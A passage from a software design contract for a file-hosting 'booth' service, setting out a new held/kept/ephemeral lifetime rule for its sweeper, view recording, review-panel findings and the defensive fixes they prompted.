- "THE LIFETIME DECISION COMES FROM ONE READ, and that is a correction to this contract's first draft. The draft specified `is_held(marks_for(child), read_error(child))` -- two reads, presented as one answer. They are not: a write or a repair landing between them yields a pair that described the booth at no instant, and the losing pair is `([], None)` -- no marks and no error -- which is exactly the pair that DELETES. Hulda found it on the paraphrase round (2026-09-22) and it is the finding that changed code rather than prose. `booth.marks.hold_read(booth) -> (marks, error)` is the fix: one strict read answering both questions the lifetime rule asks, so `sweep_once` now does ONE read per booth per tick rather than two. And because `_read_raw_strict` RAISES rather than dropping an entry, a non-raising strict read returns exactly what the lenient read would -- so the index uses that same one read for its badge too, falling back to `marks_for` only on the error path, where leniency is the point."
|
||||
- "AN OPEN PICK HOLDS; A NOTE OR A FLAG DOES NOT. `_is_open` returns False for every shape but `pick`, and False for a pick carrying `error`. That is already correct for U4 and is NOT changed here: a note is the operator's output, not an owed answer, and a pick that hydrated broken can never be answered, so holding a booth on one would be holding it forever for nothing (the CLI already spells that case as exit code 4). A PARTIALLY-answered pick IS open and DOES hold -- operator-settled 2026-09-21, and the reason `open_marks` exists rather than an `answer is None` test."
|
||||
- "THE HOLD IS UNBOUNDED, AND THAT IS THE POINT -- BUT IT MUST BE VISIBLE. A booth with an unanswered pick is never swept, however old. This is a new way for a booth to become immortal, and it is deliberate: unanswered is unfinished. What makes it safe is not a bound, it is VISIBILITY plus TWO exits that already exist. The card and the booth header say `held until answered` in place of the countdown, so a booth that is not counting down always says why; and `booth rm` / the UI `x` delete a held booth exactly as before -- `sweep_once` is the only caller that honours a hold, precisely as it is the only caller that honours `is_kept`."
|
||||
- "`keep` IS UNCHANGED AND KEEPS ITS LANE. `.forever` still exempts, still renders in the kept lane, still round-trips through `booth keep` / `booth unkeep` and the UI. U4 does not deprecate it, narrow it or add a reason field to it. The prediction is that its RATE falls because the `not yet` cases stop needing it -- and a prediction is falsified by measuring, not by removing the thing being measured."
|
||||
- "THE MTIME-RESTORE RACE IN `marks._Locked.__enter__` IS EXPLICITLY CONSIDERED AND LEFT OPEN. The bug-hunt panel flagged it and it was held for U4 because closing it means changing TTL doctrine. U4's answer is that the doctrine stands: the clean fix (ignore a booth directory's own mtime whenever the booth holds anything) would close a two-syscall window that opens ONCE per booth ever, and would in exchange break every `rsync -a` populated booth -- which preserves source mtimes and so has ONLY the directory's freshness to look alive by, and which is the documented path for every host that is not nh3-dev. That is a larger hole than the one being closed. Decided, not deferred; see the OUT OF SCOPE section."
|
||||
open_questions:
|
||||
- "Whether `booth ls` should mark held booths the way it marks kept ones with a star. Cheap, and it would need `is_held` (or a stdlib-only sibling) reachable from the CLI. Sessions already have `booth marks`, which answers the same question about their own booth, so this is convenience rather than capability. Parked, not designed."
|
||||
- "Whether a booth held ONLY by an unreadable `.marks.json` should surface on the index as something to repair, beyond the `marks unreadable` label. It is a held booth that nothing will release, which is the one case where the unbounded hold has no natural exit. The label makes it visible; a repair affordance is a different unit."
|
||||
---
|
||||
|
||||
# U4 — derived lifetime
|
||||
|
||||
## The defect, stated precisely
|
||||
|
||||
> **One lifetime (24h from last touch) and one shape (a folder), serving five
|
||||
> jobs with different lifetimes.** — `docs/design/information-architecture.md`
|
||||
|
||||
`.forever` is the escape hatch for that mismatch, and the measurement says it is
|
||||
no longer an exception:
|
||||
|
||||
| date | booths carrying `.forever` | rate |
|
||||
|---|---|---|
|
||||
| 2026-09-21 (IA doc) | 13 of 24 | 54% |
|
||||
| 2026-09-21 (re-count) | 14 of 25 | 56% |
|
||||
| 2026-09-22 | **17 of 24** | **70%** |
|
||||
|
||||
Both the rate and the absolute count rose, so this is not the denominator
|
||||
shrinking as the sweeper ran. A boolean that 70% of the population sets is not
|
||||
an exception, it is the default with extra steps.
|
||||
|
||||
The reason it gets pressed is that it is the only way to say any of these:
|
||||
|
||||
| what the operator means | what he has to press |
|
||||
|---|---|
|
||||
| "this is a durable reference" | `.forever` |
|
||||
| "I have not answered the question yet" | `.forever` |
|
||||
| "I am still looking at this" | `.forever` |
|
||||
|
||||
Only the first is what `keep` means. The other two are facts the service already
|
||||
holds and does not consult: **there is an open pick in `.marks.json`**, and
|
||||
**somebody just loaded the page**. U4 consults them.
|
||||
|
||||
### The diagnosis has a live positive control
|
||||
|
||||
Counted 2026-09-22 against `~/booth-data`. A census of the whole population, not
|
||||
a sample, and every value is a deterministic file fact (existence, mtime) — so
|
||||
one observation per booth is the measurement, not an anecdote. The population
|
||||
churns (26 -> 24 over the previous session); re-count rather than trusting these.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| live booths | 24 |
|
||||
| carrying `.forever` | 17 (70%) |
|
||||
| carrying `.marks.json` at all | 4 |
|
||||
| of those, with an open pick | **4 of 4** |
|
||||
| **open pick AND `.forever`** | **3** |
|
||||
|
||||
Three of the four booths in the fleet that are waiting on an answer have ALSO
|
||||
been pinned by hand. That is the "not yet" case, caught in the act: the operator
|
||||
pressed the durable-reference sentinel because there was no other way to say
|
||||
"do not take this, I have not answered it". U4 makes those three stop needing it.
|
||||
|
||||
The staleness distribution says the same thing from the other side. Of the 17
|
||||
kept booths, **10 are under ONE day old** — younger than the TTL, so the
|
||||
sentinel has bought them nothing yet and was pressed pre-emptively. (An earlier
|
||||
draft of this paragraph said "12 under 1.5 days" and called that younger than
|
||||
the TTL; 1.5 days is not younger than 24 hours, and the claim only holds at the
|
||||
one-day line. Caught by the cross-frontier paraphrase panel, 2026-09-22 — the
|
||||
measurement was right and the sentence was not.) Only 4 are old enough
|
||||
(2.4-4.6 days) that `keep` is the only reason they still exist. A
|
||||
sentinel pressed on a booth that was in no danger is not a durability decision;
|
||||
it is "not yet", written in the only vocabulary available.
|
||||
|
||||
⚠ The hold's live blast radius is SMALL today — 4 booths have marks at all. The
|
||||
17-to-something prediction therefore rests on both halves of this unit, and on
|
||||
the sentinel becoming unnecessary rather than becoming forbidden. If the rate
|
||||
does not move, the honest readings are: the diagnosis was wrong, OR the habit
|
||||
outlived the need, and the fortnight re-count cannot tell those apart on its
|
||||
own. The three open-pick-plus-`.forever` booths are the ones to watch, because
|
||||
for them the mechanism is now unambiguous.
|
||||
|
||||
## The record
|
||||
|
||||
A booth is in exactly one lifetime state, decided in this order:
|
||||
|
||||
```
|
||||
KEPT .forever present never swept (unchanged)
|
||||
HELD an open pick, or a never swept while (new)
|
||||
.marks.json we cannot read that holds
|
||||
EPHEMERAL otherwise swept when
|
||||
age > ttl (unchanged)
|
||||
```
|
||||
|
||||
`age` is unchanged: `now - _newest_mtime(booth)`, the newest mtime in the tree
|
||||
excluding `.<name>.lock`. **Viewing is folded in through that existing rule**,
|
||||
not beside it — a view writes `.viewed`, which is a dotfile and not a lock
|
||||
dotfile, so the age function already counts it. There is no new arithmetic.
|
||||
|
||||
### What counts as a view
|
||||
|
||||
One line, because CLAUDE.md invariant 6's test applies to rules as well as
|
||||
orders: **a deliberately-requested response FROM a booth's own page route is a
|
||||
view; a machine read, an asset fetch, and a request that does not resolve are
|
||||
not.**
|
||||
|
||||
Three words in that rule are load-bearing and the first draft said "HTML page",
|
||||
which was wrong twice. `?download=1` is a zip served by the booth-page route and
|
||||
IS a view — the operator asking for the whole booth is as deliberate as looking
|
||||
at it. And a `/view?f=<missing>` that 404s is NOT one: the route matters, but so
|
||||
does whether anything was served, or a crawler walking dead zoom URLs holds a
|
||||
booth open forever. `record_view` therefore sits below the zoom route's file
|
||||
validation and above the booth route's verbatim/zip fork.
|
||||
|
||||
| route | view? | why |
|
||||
|---|---|---|
|
||||
| `GET /b/<n>/` | **yes** | the booth page — gallery, verbatim report, or `?download=1` zip |
|
||||
| `GET /b/<n>/view?f=…` | **yes** | the zoom / doc page; a bookmarked zoom URL is somebody looking |
|
||||
| `GET /b/<n>/marks` | **yes** | the standalone judgment page — for a verbatim booth this IS the booth page |
|
||||
| `GET /b/<n>/marks.json` | no | a session polling. An agent must not be able to hold its own booth open |
|
||||
| `GET /b/<n>/<file>` | no | issued BY the page. A hotlinked image would otherwise keep a booth alive |
|
||||
| `GET /` | no | the IA's rule: "deliberate act, so it cannot be triggered by browsing the index" |
|
||||
| `GET /healthz` | no | a monitor is not a viewer |
|
||||
|
||||
⚠ Named rather than hidden: `scripts/layout-probe.py` sweeps every booth page,
|
||||
so running it resets every booth's clock. That is the correct reading of the
|
||||
rule (it is a GET of every booth page), it is recoverable (one extra TTL), and
|
||||
it is a dev tool. A note goes in the probe.
|
||||
|
||||
⚠ A browser that speculatively prefetches a hovered link records a view the
|
||||
operator did not quite take. Accepted: the failure mode is a booth living one
|
||||
extra day because he nearly opened it, and the alternative is sniffing
|
||||
`Sec-Fetch-*` headers, which is a fragile rule pretending to be a crisp one.
|
||||
|
||||
**Checked, because it would have been silent:** nothing in the fleet polls a
|
||||
booth *page*. Homepage's `siteMonitor` for the Booth is
|
||||
`http://10.100.10.50:8090/healthz`, which is on the not-a-view list; there is no
|
||||
cron entry and no systemd timer touching `/b/…`. Had Homepage been pointed at a
|
||||
booth URL instead, every booth would have become immortal on deploy and nothing
|
||||
would have reported it.
|
||||
|
||||
### Release is activity, on purpose
|
||||
|
||||
Removing `.forever` bumps the booth directory's mtime, so a released board
|
||||
survives another full TTL. Today that is an **accident** of directory metadata
|
||||
that `app.py` documents as "not intuitive" and `scripts/booth` warns against.
|
||||
|
||||
U4 does not change the behaviour and does not retire the test that pins it. It
|
||||
changes the behaviour's *reason*: `booth_unkeep` calls `record_view`, so a
|
||||
released board gets one full TTL because **releasing a board is somebody
|
||||
touching it**, which is a rule, and no longer because of which syscall happened
|
||||
to write a directory entry, which is not.
|
||||
|
||||
The existing tests (`test_releasing_a_board_RESETS_its_ttl_clock`,
|
||||
`test_released_board_is_sweepable_once_it_ages_again`) are untouched, and that
|
||||
is a correction to this contract's first draft, which said they would each gain
|
||||
an assertion that the marker is present. They must not: the first one unlinks
|
||||
the sentinel **by hand**, not through the route, so it is a test of the mtime
|
||||
mechanism and a route side-effect does not belong in it. The route behaviour
|
||||
gets its own test in the new file, and the old test gains a comment pointing at
|
||||
it.
|
||||
|
||||
**The marker's mtime must be NOW**, which `Path.touch()` gives and which the
|
||||
contract's first draft left unsaid. An implementation that wrote the file with
|
||||
any older timestamp would satisfy "the marker is there" while the extra TTL
|
||||
still came from the directory-mtime accident this section exists to replace —
|
||||
the new reason would be decoration over the old mechanism. Flagged by the
|
||||
paraphrase panel, 2026-09-22.
|
||||
|
||||
## Signatures
|
||||
|
||||
```python
|
||||
# booth/app.py
|
||||
|
||||
VIEW_MARKER = ".viewed"
|
||||
"""Records the last deliberate look at a booth. A dotfile, so `booth_items`
|
||||
skips it and it costs nothing in counts, galleries or zips — and NOT a `.lock`
|
||||
dotfile, so `_newest_mtime` counts it and the existing age rule picks up the
|
||||
view with no new arithmetic."""
|
||||
|
||||
|
||||
def record_view(booth: Path) -> None:
|
||||
"""Note that somebody deliberately looked at this booth.
|
||||
|
||||
Touches VIEW_MARKER; `_newest_mtime` does the rest. NEVER raises: a
|
||||
read-only mount, a booth we do not own or a full disk cost the timestamp,
|
||||
not the page. A booth whose view cannot be recorded simply ages on its
|
||||
content mtime, which is today's behaviour for every booth.
|
||||
"""
|
||||
|
||||
|
||||
def is_held(marks: Sequence[Mark], error: str | None) -> bool:
|
||||
"""True if this booth still owes the operator an answer and must not be swept.
|
||||
|
||||
PURE — it takes the result of a read and does none of its own, so the index
|
||||
card and the sweeper cannot answer differently about the same booth. That
|
||||
is U1's rule (one resolver, every surface reads the record) applied to
|
||||
lifetime.
|
||||
|
||||
FAIL-SAFE on `error`. `marks_for` is lenient because a review page that
|
||||
will not render is worse than one missing an annotation; the same leniency
|
||||
on the DELETE path would wipe the booth whose judgment we had just failed
|
||||
to read. Reads lenient, deletes strict.
|
||||
|
||||
Openness itself is `open_marks` and nothing else (U2 INV-2).
|
||||
"""
|
||||
return error is not None or bool(open_marks(marks))
|
||||
```
|
||||
|
||||
`is_expired` is **unchanged** and stays a pure age question — the existing
|
||||
separation ("expiry arithmetic and reaper policy are kept apart so they cannot
|
||||
drift into each other") is the reason `is_kept` is not consulted there either.
|
||||
`sweep_once` remains the only caller that honours a pin, and now honours two.
|
||||
|
||||
```python
|
||||
# booth/marks.py — stdlib only, like the rest of that module
|
||||
|
||||
def hold_read(booth: Path) -> tuple[list[Mark], str | None]:
|
||||
"""ONE read of `.marks.json`, answering BOTH questions the lifetime rule
|
||||
asks: what is still open, and whether the file could be read at all.
|
||||
|
||||
Two calls would read the file twice, and two reads of one file are not one
|
||||
read of one state — the pair that loses the race is `([], None)`, which is
|
||||
the pair that deletes.
|
||||
|
||||
On a clean file the marks are what `marks_for` would return, because
|
||||
`_read_raw_strict` raises rather than dropping an entry. So one read serves
|
||||
the badge too, and the lenient reader comes back only on the error path.
|
||||
"""
|
||||
```
|
||||
|
||||
```python
|
||||
def sweep_once(data_dir, ttl_seconds, now=None) -> list[str]:
|
||||
...
|
||||
if is_kept(child):
|
||||
continue
|
||||
if is_held(*hold_read(child)): # NEW — ONE read
|
||||
continue
|
||||
if is_expired(child, ttl_seconds, now):
|
||||
shutil.rmtree(child)
|
||||
```
|
||||
|
||||
```python
|
||||
def list_booths(data_dir, ttl_seconds, now=None) -> list[dict]:
|
||||
...
|
||||
marks, marks_error = hold_read(child) # NEW — one read, both facts
|
||||
if marks_error is not None:
|
||||
marks = marks_for(child) # lenient, for the panel
|
||||
booths.append({
|
||||
...
|
||||
"marks_error": marks_error, # NEW — the card says so
|
||||
"held": is_held(marks, marks_error), # NEW — the same predicate
|
||||
})
|
||||
```
|
||||
|
||||
## What renders
|
||||
|
||||
The lifetime line, on the ephemeral index card and in the booth header. Three
|
||||
states, one of which is new:
|
||||
|
||||
| state | line | why |
|
||||
|---|---|---|
|
||||
| ephemeral | `12 items · expires in 3h 20m` | unchanged |
|
||||
| held, open pick | `12 items · held until answered` | says what holds it AND what releases it |
|
||||
| held, unreadable | `12 items · held · marks unreadable` | the one hold nothing will release on its own |
|
||||
| kept | `12 items · kept` | unchanged, kept lane |
|
||||
|
||||
**The hold REPLACES the countdown at every age, not only once the booth is
|
||||
old.** A held booth that is four hours old shows `held until answered`, not
|
||||
`expires in 20h`. `expires_in` is still computed and still correct (INV-1);
|
||||
it is simply not what the surface says, because a number counting down to a
|
||||
deletion that will not happen is the silent-stopped-clock failure in its other
|
||||
costume — the screen announcing an expiry the sweeper will never carry out.
|
||||
Flagged as readable-two-ways by the paraphrase panel, 2026-09-22; settled here.
|
||||
|
||||
A booth that is not counting down **always says why**. That is the whole safety
|
||||
argument for an unbounded hold: `.forever` was at least visible as a lane; an
|
||||
invisible rule that silently stops the clock would be strictly worse than the
|
||||
boolean it replaces.
|
||||
|
||||
**Three surfaces, not two**, and the third was found by looking at the live
|
||||
service rather than by the suite. A verbatim booth's own `index.html` is served
|
||||
untouched by design, so it has no Booth-rendered header for the line to live in
|
||||
— and a report that ASKS the operator something is the archetype of a held
|
||||
booth. `GET /b/<n>/marks` is the only other page whose chrome the Booth owns, so
|
||||
the line goes there too. Without it, the booths most likely to be held would be
|
||||
exactly the ones that never said they were. (U3 is the unit that gives a
|
||||
verbatim booth real chrome; until then, this is the honest coverage.)
|
||||
|
||||
Kept beats held in the display, because a kept booth is in the kept lane and is
|
||||
exempt either way — showing two reasons for one exemption is the
|
||||
two-representations-of-one-state trap `flag_id`'s docstring names.
|
||||
|
||||
**An unreadable marks file is the exception, and it rides along even on a kept
|
||||
board**: `kept · marks unreadable`. Damaged judgment is not a second exemption,
|
||||
it is a thing somebody has to go and fix, and the kept lane holds the durable
|
||||
boards — the ones where losing the operator's marks costs most. A kept card that
|
||||
said only `kept` would hide the single case that needs a human. The card's
|
||||
`held` and `marks_error` are therefore RAW FACTS, true regardless of keep, and
|
||||
only the display has a precedence. The paraphrase panel found the two readings
|
||||
of "exactly one lifetime state" that this settles.
|
||||
|
||||
## Scope — the blast-radius pass
|
||||
|
||||
`graphify explain` on `sweep_once`, `is_kept`, `list_booths`, `_newest_mtime`,
|
||||
`booth_age_seconds`, `open_marks`, `KEEP_MARKER`, cross-checked with grep.
|
||||
|
||||
Graphify reported the call structure and, as expected, **missed both route
|
||||
callers of `list_booths`** (`index()` and `healthz()`, now at app.py:761 and :774) —
|
||||
they are function-local inside `create_app`, which is the known AST blind spot.
|
||||
Grep caught them. Neither tool alone was sufficient; this is the third unit in
|
||||
a row where that has been true.
|
||||
|
||||
**Production, 7 files:** `booth/app.py`, `booth/marks.py` (`hold_read`, added),
|
||||
`booth/templates/_lifetime.html` (new), `booth/templates/index.html`,
|
||||
`booth/templates/booth.html`, `booth/templates/marks.html`,
|
||||
`booth/templates/base.html`.
|
||||
**Docs/CLI, 4 files:** `scripts/booth`, `scripts/layout-probe.py`, `README.md`,
|
||||
`CLAUDE.md`.
|
||||
**Tests, 2 files:** `tests/test_lifetime.py` (new), `tests/test_booth.py`.
|
||||
|
||||
⚠ This census said "Production, 4 files" in the first draft and omitted
|
||||
`_lifetime.html`, `marks.html`, `marks.py` and `layout-probe.py` — three of
|
||||
which the body text elsewhere required, which is the contradiction both
|
||||
Gróa and Hulda flagged independently. An inventory that disagrees with the
|
||||
prose next to it is worse than no inventory: it reads as a closed set.
|
||||
|
||||
Not touched, and checked rather than assumed: `booth/items.py`,
|
||||
`booth/manifest.py`, `booth/links.py`, `booth/asks.py`, `booth/inline.py`.
|
||||
|
||||
## The three cross-frontier panels, and what they changed
|
||||
|
||||
All three ran on 2026-09-22 and all three earned their place — and each found
|
||||
a class the other two could not. Triaged per the cross-frontier discipline
|
||||
rather than adopted.
|
||||
|
||||
**Paraphrase panel** (`01M34VX0SH23Y3VC92E7GM4S70`, four arms). Seven flags.
|
||||
Five folded into the prose above: the hold replacing the countdown at every
|
||||
age, `deletes strict` scoping to the reaper alone, the zip and the 404 in the
|
||||
view rule, the marker's mtime, and the CLI warning staying true. Two changed
|
||||
more than wording:
|
||||
|
||||
- **Hulda — the two reads are not one state.** The only finding on this round
|
||||
that changed CODE. See the `hold_read` assumption in the frontmatter.
|
||||
- **Gróa and Hulda, independently — the blast-radius census contradicted the
|
||||
prose beside it.** It named four production files while the body required
|
||||
three more. An inventory that disagrees with its own document is worse than
|
||||
none, because it reads as a closed set.
|
||||
|
||||
Hulda also caught a number: this contract claimed 12 kept booths were "under
|
||||
1.5 days old — younger than the TTL". One and a half days is not younger than
|
||||
twenty-four hours. The measurement was right, the sentence was not, and it is
|
||||
the one place the diagnosis overstated itself.
|
||||
|
||||
**Code-vs-contract panel** (`01M34WAFJC3RTERFYBBZJN1SVG`, four arms). **All
|
||||
four arms found the same drift** — the strongest signal either panel produced
|
||||
on this unit. The booth header's sub-line forks on `{% if board %}`, and the
|
||||
lifetime macro sat only in the `{% else %}`, so a booth carrying `links.md`
|
||||
rendered a link count and nothing at all about its lifetime. INV-4 says the
|
||||
templates have no path that renders neither; that was a path, reachable by the
|
||||
release button or by a hand-made board.
|
||||
|
||||
Regin and Kimi recommended amending INV-4 to carve the board header out, on the
|
||||
grounds that board-header layout belongs to U7. **Declined; the code is fixed
|
||||
instead.** Cutting an invariant down to fit an implementation gap is the wrong
|
||||
direction when the fix is one template edit, and U7 owns navigation and section
|
||||
layout — not whether a header states a lifetime. Gróa's "fix it" was right.
|
||||
|
||||
The same panel showed that **most of the INV falsifier tests did not
|
||||
discriminate**, which is the more useful half of the round. The header test
|
||||
never rendered a board. The kept-beats-held test only rendered the index, where
|
||||
kept cards took a hardcoded string and never reached the macro at all. The
|
||||
INV-5 test called `record_view` directly instead of GETting the routes the
|
||||
invariant is about. The INV-7 tests asserted the marker's absence rather than
|
||||
the age, so a handler writing any other non-dot file would have passed. INV-6's
|
||||
had no doomed sibling, so "spare everything" would have passed. Each is now
|
||||
written to fail under the change that defeats it, and the board-header pair was
|
||||
verified RED against the pre-fix template rather than assumed.
|
||||
|
||||
**Bug-hunt panel** (`01M34Y2R0RAJRSN36Q8K4KAB36`, four arms). The round that
|
||||
changed the most code, and the one that found a class the other two could not
|
||||
see by construction: **a read that FAILED still resolving to "no hold", and
|
||||
therefore to a delete.** That is the invariant this unit declared to the panel,
|
||||
and the panel found **four independent paths through it. No single arm found
|
||||
all four.**
|
||||
|
||||
1. **An entry-level hydration error lost its hold.** `.marks.json` parses, one
|
||||
mark fails normalization, `_hydrate_safe` returns a `Mark` carrying `error`,
|
||||
and `_is_open` returns False for an errored pick — on purpose, because a
|
||||
broken pick can never be answered. So the booth read as not-held and swept,
|
||||
while the panel beside it rendered the broken mark in full. The fail-safe was
|
||||
built for FILE-level damage and missed ENTRY-level. This is the strongest
|
||||
finding of all three rounds.
|
||||
2. **A present-but-blank `.marks.json` swept.** `_read_raw_strict` early-returns
|
||||
for whitespace-only content — right for the write path it was written for,
|
||||
wrong for the delete path. Our writer never produces a blank marks document,
|
||||
so a blank one that exists is something that went wrong.
|
||||
3. **`_newest_mtime` returned 0.0 when the booth's own stat failed**, making it
|
||||
maximally ancient and therefore the FIRST thing the sweeper takes. Pre-dates
|
||||
U4; U4 is what turned the age read into a life-or-death read.
|
||||
4. **`is_kept` collapsed a stat failure into not-kept.** `Path.exists()` maps
|
||||
ELOOP and EACCES to False, so a kept booth whose sentinel could not be
|
||||
stat'd became sweepable.
|
||||
|
||||
**`is_held` is gone; `hold_reason` replaced it.** A boolean plus a separate
|
||||
error string is two representations of one state, and Regin independently
|
||||
flagged that the display could not distinguish the two holds. One function now
|
||||
returns the REASON — `"open"`, `"unreadable"`, or None — and every surface reads
|
||||
it off the same value the sweeper acts on. That closes findings 1 and Regin's
|
||||
together, which is why it is a rewrite rather than an extra clause.
|
||||
|
||||
**Convergent, 3-of-4: `record_view` followed a planted symlink.** `Path.touch()`
|
||||
follows an existing link, so a booth carrying `.viewed -> /anywhere` turned every
|
||||
page view into an mtime write at an arbitrary path under the service uid — and
|
||||
any fleet session can write into a booth, because making a folder is the whole
|
||||
API. Now an `O_NOFOLLOW` create plus `os.utime(fd)`, so a planted link raises
|
||||
ELOOP into the existing swallow and view-recording quietly stops for that booth.
|
||||
The `utime` is also what makes the marker read as NOW, which this contract
|
||||
already required and `O_CREAT` alone does not do.
|
||||
|
||||
**Two more the panel found in code this unit touched:**
|
||||
|
||||
- **`?f=.marks.lock` held a booth open.** The zoom route recorded a view for any
|
||||
path that stats inside the booth, including a lock file the service created
|
||||
itself. `record_view` now sits below `find_item` and fires only for a real
|
||||
item — which also makes the comment beside it true, where before it claimed
|
||||
more than the code did.
|
||||
- **Releasing an ALREADY-released booth refreshed its TTL forever.** The
|
||||
unconditional `record_view` on `unkeep` contradicted that route's own no-op
|
||||
promise and diverged from the CLI, which removes the sentinel without
|
||||
recording anything. Now gated on something actually having been released. The
|
||||
same edit fixes a pre-existing 500: a `.forever` that is a DIRECTORY raised
|
||||
`IsADirectoryError` straight through the route, which made the card's release
|
||||
button permanently dead for that booth.
|
||||
|
||||
**Also fixed: a docstring this unit's own fix made stale.** `sweep_once` still
|
||||
claimed "one lenient read plus one strict read" after `hold_read` reduced it to
|
||||
one. Kimi's framing is the right reason to care — a maintainer "optimizes" back
|
||||
to two calls on the comment's authority, and rebuilds the seam the function
|
||||
exists to kill.
|
||||
|
||||
**Re-declared as parked, not adopted:** Regin distinguished a stale-DECISION
|
||||
window (hold checked, then rmtree) from the torn-FILE race already parked at
|
||||
`park/booth-sweeper-rename-then-delete-to-close-the`. The distinction is real
|
||||
and the fix is the same rename-then-delete, so it parks with its sibling.
|
||||
|
||||
**Five pre-existing defects the panel surfaced in touched files** — a booth name
|
||||
reaching a JS string context, an unguarded `links.md` read, an index sort with
|
||||
no tie-breaker, `marks.json` reporting damage as empty success — are fixed in
|
||||
their own commit rather than smuggled into this unit's. See that commit.
|
||||
|
||||
⚠ **The capture tooling failed silently and the panel caught it, not us.** The
|
||||
`files/` tree shipped to the arms was EMPTY: the snapshot loop iterated `for f
|
||||
in $IN` over a multi-line variable, and **zsh does not word-split unquoted
|
||||
parameter expansions** the way bash does, so it ran once against a path that was
|
||||
the whole list. jekyll recovered by re-applying the bundled diff to HEAD and
|
||||
verified every file byte-identical, so the round is sound — but the failure mode
|
||||
is the dangerous one: an empty bundle reads exactly like a clean result.
|
||||
|
||||
## Seam review — against the real module surface
|
||||
|
||||
Checked against `booth/marks.py` itself, not against U2's contract prose.
|
||||
|
||||
| borrowed | real surface | verdict |
|
||||
|---|---|---|
|
||||
| `open_marks(marks)` | `marks.py:542`, takes `Sequence[Mark]`, returns `list[Mark]` | matches |
|
||||
| `marks_for(booth)` | `marks.py:514`, `_read_raw` + `_hydrate_safe` + sort; total | matches |
|
||||
| `read_error(booth)` | `marks.py:262`, returns `str \| None`, catches its own `MarksCorrupt` | matches — **and it is total**, which `is_held`'s fail-safe branch depends on |
|
||||
| `_is_open` semantics | `marks.py:525`: `pick` only, `error is None`, partial counts open | matches the assumption above |
|
||||
| `_newest_mtime` lock rule | `app.py:220`: skips `p.name.startswith(".") and p.name.endswith(".lock")` | `.viewed` is counted — confirmed at the source, not inferred |
|
||||
| `Mark` import in app.py | app.py:145-160 imports `open_marks`, `marks_for`, `marks_for_target`, `as_dict` — **not `Mark`** | `is_held`'s annotation needs `Mark` added to that import list |
|
||||
| `read_error` import in app.py | **not imported either** — U2 left it to the CLI, which is its only caller today | must be added to the same block; U4 is its first in-service consumer |
|
||||
| `zip_booth` dotfile skip | `app.py:445`ff: `p.is_file() and not p.name.startswith(".")` | `.viewed` never reaches a zip — confirmed, not inferred from `booth_items` |
|
||||
| `booth_items` dotfile skip | `items.py:182`: `not p.is_file() or p.name.startswith(".")` | `.viewed` is not an item |
|
||||
| `GET /b/<n>/asks` | `app.py:1105`, a **308 redirect** to `/marks`, not its own render | records a view through the `/marks` handler. No separate call, and adding one would double-count |
|
||||
| route concurrency | `booth_view`, `booth_view_file`, `booth_marks_page` are all `def`, not `async def` | FastAPI runs them in a threadpool, so `record_view`'s write cannot block the event loop |
|
||||
|
||||
Three rows of that table are the kind of thing only this pass finds: the cold
|
||||
panel reads one contract, and a signature that is fine in isolation says nothing
|
||||
about whether the name it needs is in scope at the call site.
|
||||
|
||||
**SR-1 — why `read_error` is safe to call per booth per index load, which the
|
||||
signatures alone do not say.** `_read_raw_strict` checks `S_ISREG` *before* it
|
||||
calls `read_text` (marks.py:236). That ordering is the v0.2.2 fix: `st_size` is
|
||||
0 for a FIFO and 0 for a symlink to `/dev/zero`, so a size cap alone lets both
|
||||
through and `read_text` then either blocks with no EOF or allocates until the
|
||||
kernel intervenes — across every booth, on `GET /`, which is a service-wide
|
||||
hang rather than one bad card. U4's decision to spend a second read on the hot
|
||||
path depends on that guard already being there. It is; checked at the source.
|
||||
|
||||
## Out of scope
|
||||
|
||||
- **A bound on the hold.** An abandoned pick holds its booth forever. Detecting
|
||||
"abandoned" needs state the Booth does not have (is any session still
|
||||
polling?), and the honest alternative — an arbitrary N-day cap — trades a
|
||||
visible immortal booth for a silent deletion of an open question. Visibility
|
||||
plus `booth rm` is the answer for v1.
|
||||
- **A reason string on `.forever`.** "keep survives as an explicit, reasoned
|
||||
pin" is read here as *a pin the operator reasoned about*, not *a pin carrying
|
||||
a recorded reason*. A `why` on keep does not close the measured defect — the
|
||||
70% is people using keep for things that are not keep, and this unit gives
|
||||
those things their own mechanism. Parked per the anti-creep gate.
|
||||
- **A third index lane for held booths.** A booth waiting on the operator is the
|
||||
most actionable thing on the index, and it already carries the `? N open`
|
||||
badge. Lane structure and ordering are U7's, and adding a lane here would set
|
||||
an ordering rule that U7 then has to live with.
|
||||
- **Closing the `marks._Locked.__enter__` mtime-restore race.** See the
|
||||
assumption above: the clean fix costs every `rsync -a` populated booth. The
|
||||
comment there stays, and stays accurate.
|
||||
- **`booth ls` marking held booths.** Open question, parked.
|
||||
- **Closing the view-during-sweep race, which U4 WIDENS.** `sweep_once` calls
|
||||
`shutil.rmtree` without holding anything, so a write landing inside that call
|
||||
can make it raise partway and leave a stump directory. The race is
|
||||
pre-existing — every write route has always had it — but U4 widens it,
|
||||
because `record_view` fires on every booth-page GET and the case that
|
||||
collides is precisely "the first look at a booth that has been silent for 24
|
||||
hours", which is the state the sweeper acts on.
|
||||
|
||||
The fix is known and small: `os.rename` the booth to `.sweeping-<name>` first
|
||||
(atomic, and a dotfolder the scan already skips), then `rmtree` the renamed
|
||||
path, plus a cleanup of leftovers at the top of each tick for the
|
||||
crash-between-the-two case. It is NOT done here, per the anti-creep gate:
|
||||
both "in" and "park" are defensible, so it parks. The arithmetic is that the
|
||||
collision needs a GET inside a ~10 ms `rmtree` on a booth nobody has opened in
|
||||
a day, the sweeper ticks every 15 minutes, and the consequence is a stump that
|
||||
survives one more TTL — against which a sweeper rewrite is not a v1-path
|
||||
trade. Named here so it is a decision and not an oversight, and parked on
|
||||
the henge at `park/booth-sweeper-rename-then-delete-to-close-the` (id 83)
|
||||
so it has a home rather than only a paragraph.
|
||||
|
||||
## Invariants
|
||||
|
||||
**INV-1 — Age arithmetic is unchanged.** `booth_age_seconds`, `is_expired` and
|
||||
the `expires_in` values on both surfaces are computed exactly as before. A view
|
||||
enters through `_newest_mtime` as a file in the tree, not as a term in a new
|
||||
formula. *Falsifiable:* a booth with a `.viewed` and a booth with any other
|
||||
non-lock dotfile of the same mtime report the same age.
|
||||
|
||||
**INV-2 — `sweep_once` is the only caller that honours a hold.** `is_expired`
|
||||
stays a pure age question; `booth rm`, `POST /b/<n>/delete` and
|
||||
`DELETE /b/<n>` delete a held booth exactly as they delete a kept one.
|
||||
*Falsifiable:* a held booth is still reported expired by `is_expired` and is
|
||||
still deleted by the delete routes.
|
||||
|
||||
**INV-3 — One predicate, ONE READ, one answer.** The index card's `held`, the
|
||||
booth header's, the marks page's and the sweeper's exemption all come from the
|
||||
